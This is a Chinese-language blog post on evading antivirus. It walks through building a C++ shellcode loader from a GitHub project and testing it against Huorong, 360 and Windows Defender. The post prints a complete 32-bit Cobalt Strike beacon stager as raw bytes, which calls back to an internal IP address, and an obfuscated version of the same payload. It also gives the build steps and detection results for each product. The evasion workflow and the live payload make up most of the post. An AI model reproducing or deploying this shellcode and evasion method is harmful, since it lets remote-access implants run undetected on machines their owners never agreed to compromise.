前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【免杀】C++静态免杀学习

【免杀】C++静态免杀学习

作者头像
乌鸦安全
发布2022-06-07 18:58:02
2.1K0
发布2022-06-07 18:58:02
举报
文章被收录于专栏:乌鸦安全乌鸦安全

乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!

本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!

更新时间:2022.05.10

1. 别人的静态免杀

Github上看到一个c++的免杀,在4月6号的时候,还是bypass 很多的,但是一个月过去了,我执行之后发现了只能过火绒:

项目地址:https://github.com/G73st/BypassAV

2. 复现其他师傅的免杀

2.1 c++部分

其实他这部分代码的逻辑就是一个利用自己的密钥进行解密,解密之后再申请内存,执行shellcode,在这里先将别人的代码下载下来,在本地跑一下:

先把项目下载,然后把shellcode loader中的BypassAV.cpp代码复制下,然后新建项目打开,因为直接打开BypassAV.sln的话,加载会出错:

新建一个项目:

在这里找到你要新建的文件夹:

在这里选择空项目,关闭安全开发生命周期检查,然后选择完成:

然后在源文件的位置->添加->新建项:

选择添加c++文件,并修改名称:

将作者的代码复制过来:

此时告一段落,现在来搞另外一个部分:混淆代码

2.2 代码混淆

在本地启动cs

本地建立监听:

此时生成后门文件:

在这里选择c格式,在这里记得选择32位的,不要选择64位的,不然程序执行无效:

生成的shellcode如下:

代码语言:javascript
复制
/* length: 796 bytes */
unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x21\x03\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x75\x38\x4b\x64\x00\x6c\x30\x45\x1d\x60\xa2\x8a\xdc\x45\x09\x45\x30\xd9\x69\xec\x89\x91\x91\xcb\xd4\xd0\x9c\x2a\x9c\x2b\xb9\xf9\xa4\x97\x1c\x8a\x3a\x5a\xb8\x90\xfc\x18\xcc\x1f\x36\x48\xb8\x2f\x31\xda\x2b\x21\xf6\x23\xea\x5b\xcb\x04\xe0\x89\x63\x96\x99\xfb\x18\x1f\xbe\x66\x3a\xc6\xd3\xe9\x74\xe7\xa9\x3c\xbb\xa6\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x53\x4c\x43\x43\x32\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x78\x98\x9c\x68\x36\x3a\xdd\x1d\x97\xb8\x34\xb0\xda\xc1\xac\xdf\xbc\x88\xfa\x09\x03\x20\xf9\x38\x9b\x35\xd3\x55\x2f\x84\x49\x9b\xc4\x71\x1a\x9e\xe8\x6a\x8c\x4d\x32\x2f\x49\x1a\x51\xa5\x58\xdb\x09\x46\x7b\x62\x78\xb1\x01\xf1\x39\x35\xd4\x2d\x4d\x81\xa9\x90\x19\x67\xee\x34\x84\xbe\x0d\x95\xf3\x0f\x4e\xee\xdd\x6a\xdd\x54\x09\x92\x00\x1f\x6f\x52\x91\xd0\x96\x3f\x86\x90\x36\x71\x09\x8b\x87\xe4\x34\xf5\x1a\xba\x44\xbb\x67\x9c\x7c\x25\x7c\x3a\x0c\xa5\x0f\x2b\x16\x7c\xad\x93\x52\x35\x9a\x5f\x4c\xaf\x11\xaf\x12\xf5\xad\xb7\x44\xbe\x4e\x42\xc6\xc8\xd6\xda\x4e\x50\xdc\xd7\x64\x78\x97\x9e\x41\x43\x9e\xe3\x32\x72\x43\xe0\x79\xcc\x0c\xe6\xc6\x2f\xb8\x69\x82\xf7\xec\x6b\x20\x1d\x3d\x69\xd5\x87\xab\x85\xd0\x1b\x42\x5a\xad\xd2\xb0\x65\x11\x5e\x70\xa9\x42\x2e\x4e\xb9\xbc\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x33\x30\x2e\x33\x2e\x31\x33\x36\x00\x19\x69\xa0\x8d";

在这里拿纯净的shellcode部分:

代码语言:javascript
复制
\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x21\x03\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x75\x38\x4b\x64\x00\x6c\x30\x45\x1d\x60\xa2\x8a\xdc\x45\x09\x45\x30\xd9\x69\xec\x89\x91\x91\xcb\xd4\xd0\x9c\x2a\x9c\x2b\xb9\xf9\xa4\x97\x1c\x8a\x3a\x5a\xb8\x90\xfc\x18\xcc\x1f\x36\x48\xb8\x2f\x31\xda\x2b\x21\xf6\x23\xea\x5b\xcb\x04\xe0\x89\x63\x96\x99\xfb\x18\x1f\xbe\x66\x3a\xc6\xd3\xe9\x74\xe7\xa9\x3c\xbb\xa6\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x53\x4c\x43\x43\x32\x3b\x20\x2e\x4e\x45\x54\x20\x43\x4c\x52\x20\x32\x2e\x30\x2e\x35\x30\x37\x32\x37\x29\x0d\x0a\x00\x78\x98\x9c\x68\x36\x3a\xdd\x1d\x97\xb8\x34\xb0\xda\xc1\xac\xdf\xbc\x88\xfa\x09\x03\x20\xf9\x38\x9b\x35\xd3\x55\x2f\x84\x49\x9b\xc4\x71\x1a\x9e\xe8\x6a\x8c\x4d\x32\x2f\x49\x1a\x51\xa5\x58\xdb\x09\x46\x7b\x62\x78\xb1\x01\xf1\x39\x35\xd4\x2d\x4d\x81\xa9\x90\x19\x67\xee\x34\x84\xbe\x0d\x95\xf3\x0f\x4e\xee\xdd\x6a\xdd\x54\x09\x92\x00\x1f\x6f\x52\x91\xd0\x96\x3f\x86\x90\x36\x71\x09\x8b\x87\xe4\x34\xf5\x1a\xba\x44\xbb\x67\x9c\x7c\x25\x7c\x3a\x0c\xa5\x0f\x2b\x16\x7c\xad\x93\x52\x35\x9a\x5f\x4c\xaf\x11\xaf\x12\xf5\xad\xb7\x44\xbe\x4e\x42\xc6\xc8\xd6\xda\x4e\x50\xdc\xd7\x64\x78\x97\x9e\x41\x43\x9e\xe3\x32\x72\x43\xe0\x79\xcc\x0c\xe6\xc6\x2f\xb8\x69\x82\xf7\xec\x6b\x20\x1d\x3d\x69\xd5\x87\xab\x85\xd0\x1b\x42\x5a\xad\xd2\xb0\x65\x11\x5e\x70\xa9\x42\x2e\x4e\xb9\xbc\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x33\x30\x2e\x33\x2e\x31\x33\x36\x00\x19\x69\xa0\x8d

直接执行python3 BypassAV.py之后,会出现卡死的问题,所以这里进行了一个小小的改动:我直接把input屏蔽掉了,然后直接输出。

然后等待加密完成:

生成混淆之后的shellcode

代码语言:javascript
复制
527019643837973707320415151528632043778218372532553208237213320823722732082372753208322121522932302412032183799218328732472652843271172112073280375422012328837763715237234320823722632082662651237533208261327532003287322624112375323532082472713208233207123722377426524032082973208123721218379921832873247328037542201232882963771322437111032793713298327920632243776233320823320612372232573208227249320823327312372232081132081237533204263206206282282284238285232379937712332892853208223370932012803251322532523226153251322832593225325923132512463228203143799372021837992342342342342343251293236327232643799372037003207151515282218375223223232561023223232512001015152302353251234320432983283379937203709322728221837252373251151726132072372372372302372353251370923921629837993720320432833202328923521837992342343256379923023632512191627132703799372032003287229320732891215152183799320037163226113204371837091832513245328437762803799372032043280325126820028121837993720218379923432561423223623532513230234377122237993720328215214151529432883226323021837993700321912151537003752121515370732083799379937992143224296249325515325321326827828632673203377526818268213372432593706320432193219375037273753329621732962103239371832613292273320329328532313211379727137512022912473231214218372321020037162093701282375011377132042883295329037922712023285325729332833722370032263702326826532343266152393229325232212192693250325232253226293207244322232773259325332532842142972162132072152883222325832272843226325928332533252298207244230240268207296216213298207234325932253255322232283229207243231207291216218298207234248234291297298207231322132593255325232253226214297216213298207230246264264295298207216243268231207264246237207295216213216290213299295299212220225153275329732963251291293377227832923231297324637233280324737703233320637951810207371829632992903722239214320724032993286322027632933707325632152442952142402762323269233372818245327028332753244123712294290372721924432783268321127932503703297320732852203218371022924337033772325637722311832161520232222373219375332952603201321129132201832083209377329737192763236263323432503296327120432712932273269229210277327132403214237290329128924632492243249223371932403230263328524326632833755372137232432353775372932553275329232932692643293377429532212643771327237512273705328321432313259320537143706325420727826232593720320932423200375327426628532403725324632522242813227326826621624332393233153251371532323267236379937203256261325115226151532511515261152343251233326123037783799372032143239151515151237242322303204370223432511520715152302363251223329532043776379937203200328732263283320814123289320032873224377823332893707326837903799379921821321629221321629221621829229115279325932653212

放到原代码中:

选择Release

image.png

选择生成解决方案:

此时生成成功:

2.3 上线测试

2.3.1 无杀软的情况_Windows10

双击之后即可上线:

2.3.2 火绒_Windows7

2.3.3 360_Windows_失败

关闭360的自动提交样本:

按位置扫描:

经过多次操作发现,当把shellcode剔除之后再打包,依旧被杀,360应该是对其中的某些关键字或操作进行了查杀,属于乱杀!

2.3.4 Windows Defender最新版

直接上去就没了,但是windows Defender的优点就在于当你不加载shellcode的时候,是不会静态查杀的!

3. 免杀Windows Defender

对于作者一个月以前的更新,可以过Windows Defender,但是现在只能免杀火绒,在这里对此做一个小小的改动,就可以达到以前的那种效果,但是依旧无法过360(因为免杀一直会被标记,此处的tips暂不提供,希望师傅能够理解)

此时最新版的Windows Defender

上线成功:

但是!!!这里依旧无法过360

4. 总结

在这个项目中,有一些坑:

  • • 程序必须自己建一个工程,导入c++代码
  • shellcode必须是32位的,不能是64位的(我64位失败)
  • • 代码混淆部分,我也是建议各位将shellcode复制进去,直接出结果!(可能只有我受影响)
  • • 生成的程序在某些windows10windows7上无法有效运行!!!

当然,在这个免杀中,均属于静态免杀,有些属于乱杀,就像碰到易语言一样,大家都杀!

在这里看到作者对于shellcode进行了混淆,主要是CSshellcode现在烂大街了,谁家AV没法查杀的话,就太丢面了,其实也可以使用msf来混淆shellcode,但是感觉作者这个思路蛮好的,作者在项目中说当时将shellcode从本地加载改到了内部加载,其实我更倾向于分离免杀,甚至远程加载!

又学到新的姿势了,以上内容仅供参考,后续我再更新其他的吧!

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-05-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. 别人的静态免杀
  • 2. 复现其他师傅的免杀
    • 2.1 c++部分
      • 2.2 代码混淆
        • 2.3 上线测试
          • 2.3.1 无杀软的情况_Windows10
          • 2.3.2 火绒_Windows7
          • 2.3.3 360_Windows_失败
          • 2.3.4 Windows Defender最新版
      • 3. 免杀Windows Defender
      • 4. 总结
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档